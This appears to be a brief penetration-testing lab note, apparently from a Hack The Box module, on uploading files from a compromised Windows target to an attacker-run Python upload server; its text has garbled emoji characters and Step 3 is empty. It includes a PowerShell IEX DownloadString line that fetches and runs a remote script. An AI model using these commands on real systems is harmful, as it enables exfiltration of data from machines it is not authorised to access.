π PowerShell Web Uploads
Need to upload files from your target machine back to your own? Here's a simple way to do it using PowerShell and a lightweight Python upload server. π
π§° PowerShell Doesnβt Natively Uploadβ¦ But We Can Fix That!
π οΈ Step 1: Set Up a Web Server That Accepts Uploads (On Attacker Machine)
z3tssu@htb[/htb]$ pip3 install uploadserverz3tssu@htb[/htb]$ python3 -m uploadserverπ¦ Step 2: Download PSUpload Script on Windows
PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')π€ Step 3: Upload Your File!
Last updated